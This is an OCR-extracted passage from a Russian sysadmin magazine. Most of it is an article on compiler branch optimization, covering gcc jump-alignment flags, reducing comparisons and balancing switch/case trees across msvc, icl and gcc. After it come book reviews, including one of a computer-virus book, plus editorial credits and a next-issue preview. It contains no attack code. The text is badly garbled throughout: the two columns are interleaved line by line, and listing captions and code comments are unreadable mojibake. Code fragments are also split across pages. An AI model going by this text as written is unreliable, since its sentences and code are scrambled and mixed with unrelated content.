ности. считывается по формуле:
Оптимизация переходов дает значительный выигрыш,
особенно если они расположены внутри циклов (кстати го- (cache_len - (addr % cache_len))
воря, циклы – это те же самые переходы), поэтому качество
компилятора не в последнюю очередь определяется его уме- Именно так поступают все программисты, владеющие
нием полностью или частично избавляться от ветвлений. Ассемблером, но только не компиляторы! MSVC и icl вооб-
ще не выравнивают переходов, а gcc выравнивает целе-
Выравнивание переходов вую инструкцию на фиксированную величину, кратную сте-
Процессоры, основанные на ядрах Intel P6 и AMD K6, не тре- пени двойки (т.е. 2, 4, 8…), что является крайне неэффек-
буют выравнивания переходов, за исключением того случая, тивной стратегией, однако даже плохая стратегия все же
когда целевая инструкция или сама команда перехода рас- лучше, чем совсем никакой. Кстати говоря, именно по этой
щепляются границей кэш-линейки пополам, в результате чего причине, компиляторы msvc и icl генерируют неустойчивый
наблюдается значительное падение производительности. код, точнее код с «плавающей» производительностью, бы-
Наибольший ущерб причиняют переходы, находящиеся в стродействие которого главным образом зависит от того,
циклах с компактным телом и большим уровнем вложения. расщепляются ли глубоко вложенные переходы или нет. А
86
программирование
это в свою очередь зависит от множества трудно прогнози- Удаление проверок нулевых указателей
руемых обстоятельств, включающих фазу луны и количе- Программисты до сих пор не могут определиться, кто дол-
ство осадков. жен осуществлять проверку аргументов – вызывающая или
Учитывая, что средняя длина x86-инструкций составляет вызываемая функция. Многие стандарты кодирования пред-
3.5 байта, целесообразнее всего выравнивать переходы по писывают выполнять такую проверку обеим:
границе четырех байт (ключ -falign-jumps=4 компилятора gcc).
Ключ -fno-align-jumps (или эквивалентный ему -falign-jumps=1) Ëèñòèíã 5. Íåîïòèìèçèðîâàííûé âàðèàíò
отключает выравнивание. Ключ falign-jumps=0 задейству- f1(int *p)
ет выравнивание по умолчанию, автоматически выбирае- {
// ïðîâåðêà ¹2
мое компилятором в зависимости от типа процессора. // (ìîæåò áûòü óäàëåíà êîìïèëÿòîðîì
// ò.ê. åé ïðåäøåñòâîâàëà çàïèñü ïî óêàçàòåëþ)
Ëèñòèíã 1. Ôîðìóëà äëÿ ðàñ÷åòà îïòèìàëüíîé êðàòíîñòè if (p) return *p+1; else return –1;
âûðàâíèâàíèÿ äëÿ ïðîöåññîðîâ Intel Pentium II è âûøå }
88
программирование
b=a+1 ветствуют различным отношениям чисел и за каждый из
lab_1: c=a*10 них отвечает «свой» условный переход. Например:
Ëèñòèíã 18. Îïòèìèçèðîâàííûé âàðèàíò
Ëèñòèíã 21. Ñðàâíåíèå äâóõ ÷èñåë íà ÿçûêå àññåìáëåðà
if (!x) goto lab_1; // îäèíàðíîå âåòâëåíèå
a=a*2; cmp eax,ebx // ñðàâíèâàåì eax ñ ebx, çàïîìèíàÿ
b=a+1; // ðåçóëüòàò âî ôëàãàõ
lab_1: c=a*10; jl lab_1 // ïåðåõîä, åñëè eax < ebx
jg lab_2 // ïåðåõîä, åñëè eax > ebx
Оператор goto не обязательно должен присутствовать lab_3: // ðàç ìû çäåñü, eax == ebx
в тексте явно, он вполне может быть частью do/while/break/
continue. На языках высокого уровня все не так, и операцию срав-
Вот, например: нения приходится повторять несколько раз подряд, что не
способствует ни компактности, ни производительности. Но,
Ëèñòèíã 19. Íåîïòèìèçèðîâàííûé âàðèàíò, 2 âåòâëåíèÿ может быть, ситуацию исправит оптимизатор? Рассмотрим
while(1) следующий код:
{
if (a==0x66) break; // óñëîâíûé ïåðåõîä Ëèñòèíã 22. Ñðàâíåíèå äâóõ ÷èñåë íà ÿçûêå âûñîêîãî óðîâíÿ
a=a+rand();
}; // ñêðûòûé áåçóñëîâíûé ïåðåõîä
// íà íà÷àëî öèêëà if (a < 0x69) printf("b");
if (a > 0x69) printf("g");
Ëèñòèíã 20. Îïòèìèçèðîâàííûé âàðèàíò, 1 âåòâëåíèå (âåòâëåíèå if (a == 0x69) printf("e");
ïåðåä íà÷àëîì öèêëà íå ñ÷èòàåòñÿ, ò.ê. èñïîëíÿåòñÿ âñåãî
ëèøü ðàç) Дизассемблирование показывает, что компилятору msvc
потребовалось целых два сравнения, а вот icl было доста-
if (a!=0x66) // «ñäèðàíèå» îäíîé èòåðàöèè öèêëà
do{ точно и одного. Компилятор gcc не заметил подвоха и чес-
a=a+rand(); тно выполнил все три сравнения.
}while(a!=0x66); // èíâåðòèðóåì ïåðåõîä, òîëüêî îäíî
// âåòâëåíèå
Избавление от ветвлений
Теория утверждает, что любой вычислительный алгоритм
Сокращение количества сравнений можно развернуть в линейную конструкцию, заменив все
Процессоры семейства x86 (как и многие другие) облада- ветвления математическими операциями (как правило, за-
ют одной очень интересной концепцией, которой нет ни в путанными и громоздкими). Рассмотрим функцию поиска
одном языке высокого уровня. Операции вида if (a>b) вы- максимума среди двух целых чисел: «((a>b)?a:b)», для на-
полняются в два этапа. Сначала из числа a вычитается чис- глядности записанную так: «if (a<b) a=b;». Как избавиться
ло b и состояние вычислительного устройства сохраняется от ветвления? В этом нам поможет машинная команда SBB,
в регистре флагов. Различные комбинации флагов соот- реализующая вычитание с заемом.
Советы
! Избегайте использования глобальных и статических пе- ! Заменяйте int a; if ((a >= 0) && (a < MAX)) на if ((unsigned
ременных – локальные переменные компилятору намно- int)a < MAX), – последняя конструкция на одно ветвле-
го проще оптимизировать. ние короче.
! Не используйте переменные там, где можно использо- ! Ветвление с проверкой на нуль оптимизируется намно-
вать константы. го проще, чем на любое другое значение.
! Везде, где это только возможно, используйте беззнако- ! Конструкции типа x = (flag?sin:cos)(y) не избавляют от
вые переменные – они намного легче оптимизируются, ветвлений, но сокращают объем кодирования.
особенно в тех случаях, когда компилятор пытается из- ! Не пренебрегайте оператором goto – зачастую он позво-
бавиться от ветвлений. ляет проектировать более компактный и элегантный код.
90
программирование
case 4 : /* êîä îáðàáîò÷èêà */ break; это не сто! Оптимизированный вариант оператора switch в
case 3 : /* êîä îáðàáîò÷èêà */ break; худшем случае потребует лишь пяти сравнений, но и это
case 9 : /* êîä îáðàáîò÷èêà */ break;
case 22 : /* êîä îáðàáîò÷èêà */ break; еще не предел!
case 0 : /* êîä îáðàáîò÷èêà */ break; Учитывая, что x86 процессоры все три операции срав-
case 11 : /* êîä îáðàáîò÷èêà */ break;
case 666: /* êîä îáðàáîò÷èêà */ break; нения <, =, > совмещают в одной машинной команде, дво-
case 96 : /* êîä îáðàáîò÷èêà */ break; ичное логическое дерево можно преобразовать в троичное,
case 777: /* êîä îáðàáîò÷èêà */ break;
case 7 : /* êîä îáðàáîò÷èêà */ break; тогда новых гнезд для его балансировки добавлять не нуж-
} но. Простейший алгоритм, называемый методом отрезков,
Тогда соответствующее ему неоптимизированное логи- работает так: сортируем все числа по возрастанию и делим
ческое дерево будет достигать в высоту одиннадцати гнезд получившийся отрезок пополам. Число, находящееся по-
(см. рис. 3 слева). Причем на левой ветке корневого гнез- середине (в нашем случае это 11), объявляем вершиной
да окажется аж десять других гнезд, а на правой – вообще дерева, а числа, расположенные слева от него, – его левы-
ни одного. Чтобы исправить «перекос», разрежем одну вет- ми ветвями и подветвями (в нашем случае это 0, 3, 4 и 7).
ку на две и прицепим образовавшиеся половинки к новому Остальные числа (22, 96, 98, 666, 777) идут направо. По-
гнезду, содержащему условие, определяющее, в какой из вторяем эту операцию рекурсивно до тех пор, пока длина
веток следует искать сравниваемую переменную. Напри- подветвей не сократится до единицы. В конечном счете,
мер, левая ветка может содержать гнезда с четными зна- вырастет следующее дерево :
чениями, а правая – с нечетными. Но это плохой критерий:
четных и нечетных значений редко бывает поровну и вновь
образуется перекос. Гораздо надежнее поступить так: бе-
рем наименьшее из всех значений и бросаем его в кучу А,
затем берем наибольшее из всех значений и бросаем его в
кучу B. Так повторяем до тех пор, пока не рассортируем
все имеющиеся значения (см. рис. 3 справа).
Поскольку, оператор switch требует уникальности каж-
дого значения, т. е. каждое число может встречаться лишь
однажды, легко показать, что: Ðèñóíîê 4. Òðîè÷íîå äåðåâî, ÷àñòè÷íî ñáàëàíñèðîâàííîå
! в обеих кучах будет содержаться равное количество чи- ìåòîäîì îòðåçêîâ
сел (в худшем случае – в одной куче окажется на число Очевидно, что это не самое лучшее дерево из всех. Мак-
больше); симальное количество сравнений (т.е. количество сравне-
! все числа кучи A меньше наименьшего из чисел кучи B. ний в худшем случае) сократилось с пяти до четырех, а ко-
Следовательно, достаточно выполнить только одно срав- личество ветвлений возросло вдвое, в результате чего, вре-
нение, чтобы определить: в какой из двух куч следует мя выполнения оператора switch только возросло. К тому
искать сравниваемое значение. же структура построения дерева явно не оптимальна. Гнез-
да (a<=3), (a>=7), (a<=96), (a>=666) имеют свободные вет-
ви, что увеличивает высоту дерева на единицу. Но, может
быть, компилятор сумеет это оптимизировать?
Дизассемблирование показывает, что компилятор msvc
генерирует троичное дерево, сбалансированное по улуч-
шенному алгоритму отрезков, содержащее всего лишь
7 операций сравнения, 9 ветвлений и таблицу переходов на
10 элементов (см. «Создание таблицы переходов»). В худ-
шем случае выполнение оператора switch требует 3 срав-
нений и 3 ветвлений. Троичное дерево, построенное ком-
пилятором gcc, сбалансировано по классическому алгорит-
Ðèñóíîê 3. Íåñáàëàíñèðîâàííîå (ñëåâà) è ñáàëàíñèðîâàííîå му отрезков и состоит из 11 сравнений и 24 ветвлений. В
(ñïðàâà) switch/case-äåðåâî худшем случае выполнение оператора switch растягивает-
Высота вновь образованного дерева будет равна ся на 4 сравнения и 6 ветвлений. Компилятор icl, работаю-
1+(N+1)/2, где N – количество гнезд старого дерева. Дей- щий по принципу простого линейного поиска, строит дво-
ствительно, мы же делим ветвь дерева надвое и добавля- ичное дерево из 11 сравнений и 11 ветвлений. В худшем
ем новое гнездо – отсюда и берется N/2 и +1, а (N+1) необ- случае все узлы дерева «пережевываются» целиком. Вот
ходимо для округления результата деления в большую сто- так «оптимизация»!
рону. То есть если высота неоптимизированного дерева до-
стигала 100 гнезд, то теперь она уменьшилась до 51. Гово- Создание таблицы переходов
рите, 51 все равно много? Но кто нам мешает разбить каж- Если значения ветвей выбора представляют собой ариф-
дую из двух ветвей еще на две? Это уменьшит высоту де- метическую прогрессию (см. листинг 27), компилятор мо-
рева до 27 гнезд! Аналогично, последующее уплотнение жет сформировать таблицу переходов – массив, проиндек-
даст 16 → 12 → 11 → 9 → 8… и все! Более плотная упаковка сированный case-значениями и содержащий указатели на
дерева уже невозможна. Но, согласитесь, восемь гнезд – соответствующие им case-обработчики. В этом случае
92
книжная полка
Записки OpenOffice.org
исследователя открытый офис
компьютерных для Linux и Windows
вирусов Виктор Костромин
Крис Касперски Это первая книга на русском
Очень любопытная книга от языке, посвященная Open
известного технического пи- Office.org – популярному офис-
сателя. Касперски просто и ному пакету, в своем развитии
доступно делится личным шагающему семимильными
опытом и описывает соб- шагами и все больше тесняще-
ственные эксперименты в об- му Microsoft Office. Книга по-
ласти компьютерной вирусо- служит отличным помощником
логии. Книга разделена на 4 для человека, начинающего
части. В первой подробно осваивать openoffice.org. Изда-
рассматриваются локальные вирусы, паразитирующие на ние рассчитано на широкий круг читателей – от «новичков»
Winodws/UNIX. Вторая часть полностью посвящена ком- до продвинутых пользователей. Книга построена в виде эк-
пьютерным червям. Методы борьбы с вирусами описаны спресс-курса. Достаточно подробно описана работа с тек-
в третей части книги. В четвертой части подробно раскры- стовым процессором Writer, электронной таблицей Calc, гра-
та тема UNIX vs. NT с точки зрения безопасности. В при- фическим пакетом Draw, системой подготовки презентаций
ложении к книге рассмотрены приемы восстановления ОС Impress, редактором формул Math. Также рассмотрены об-
в «боевых» условиях и приемы борьбы со спамом. Книга, щие вопросы функционирования пакета. После прочтения
по сути, является некой компиляцией ранее опубликован- данной книги читатель получит знания, необходимые для ком-
ных статей в нашем журнале, что в некоторой степени фортный работы в OpenOfice.org. Эта книга – незаменимое
очень удобно. Отличный выбор для тех, кто хочет погру- приобретение для всех пользователей, желающих присту-
зиться с головой в изучение и исследование вирусов. Кни- пить к использованию OpenOfice.org вместо Microsoft Office.
га рассчитана на достаточно подготовленного читателя, Вместе с книгой в комплекте идет диск с дистрибутивами
который не боится углубиться в изучение дизассемблер- Open Office.org для Windows, Linux и FreeBSD.
ных листингов и дебрей ОС. Издательство «БХВ-Петербург», 2005 г. – 272 стр. ISBN
Издательство «Питер», 2005 г. – 316 стр. ISBN 5-469- 5-94157-266-2. Издание подготовлено совместно с компа-
00331-0. нией ЛинуксЦентр.
Подписные
индексы:
81655
по каталогу
агентства
«Роспечать»
87836
по каталогу
агентства
«Пресса
России»
РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Редакторы Apache как прокси-сервер Professional SP2 Rus вместе с требуе-
Андрей Бешков Рассмотрим достаточно стандартную мым прикладным программным обес-
Валентин Синицын для небольшой организации связку: печением в практике аутсорсинга.
Алексей Барабанов UNIX-шлюз для выхода в Интернет,
внутренний веб-сервер (Apache), фай- Базовая настройка
РЕКЛАМНАЯ СЛУЖБА ловый сервер, почта, прокси-сервер... маршрутизатора Cisco
тел./факс: (095) 928-8253 Оказывается, часть звеньев этой це- начального уровня
Константин Меделян почки можно объединить друг с дру- Описание настройки может послужить
reсlama@samag.ru гом, сократив тем самым число обслу- отправной точкой для самостоятельно-
живаемых сервисов и даже получить го конфиг урирования домашнего/
Верстка и оформление при этом кое-какие дополнительные офисного маршрутизатора UNIX или
imposer@samag.ru бонусы. В данной статье рассматри- Windows администратором, ранее не
maker_up@samag.ru вается процесс настройки Apache для работавшим с оборудованием Cisco.
Дизайн обложки работы в качестве кэширующего про-
Николай Петрочук кси-сервера, предоставляющего воз- Alt-N MDaemon –
можности динамического сжатия веб- почтовая система
107045, г. Москва, страниц. для средних
Ананьевский переулок, дом 4/2 стр. 1 и крупных компаний
тел./факс: (095) 928-8253 Автоматизация Alt-N Mdaemon – почтовый сервер
Internet: www.samag.ru MS Windows, или AutoIt корпоративного уровня для ОС семей-
как мечта эникейщика ства Windows. Уже с первых версий дан-
РУКОВОДИТЕЛЬ ПРОЕКТА Взгляд на проблему автоматизации ра- ный продукт пользовался заслуженной
Петр Положевец бот в MS Windows со стороны систем- популярностью среди администраторов
ного администратора, не желающего Windows-систем, благодаря чему посто-
УЧРЕДИТЕЛИ становиться MSCE. Основная цель – в янно совершенствовался и дополнялся
Владимир Положевец максимальном сокращении обслужи- новыми возможностями. На сегодняш-
Александр Михалев вающих операций в среде MS Windows. ний день MDaemon – это SMTP/POP/
В этом помогает нам инструментарий IMAP почтовый сервер с полным набо-
ИЗДАТЕЛЬ AutoIt. С помощью этой программы, ко- ром возможностей: защита от спама,
ЗАО «Издательский дом торая является оператором-ботом, безопасный доступ к почте через веб-
«Учительская газета» можно автоматизировать все массо- интерфейс при помощи обычного бра-
вые операции в среде MS Windows. В узера, удаленное администрирование,
Отпечатано типографией качестве большого комплексного при- а также, при установленном MDaemon
ГП «Московская Типография №13» мера приводится решение задачи авто- AntiVirus, защита вашей системы от
Тираж 8200 экз. матической установки MS Windows XP почтовых вирусов.
96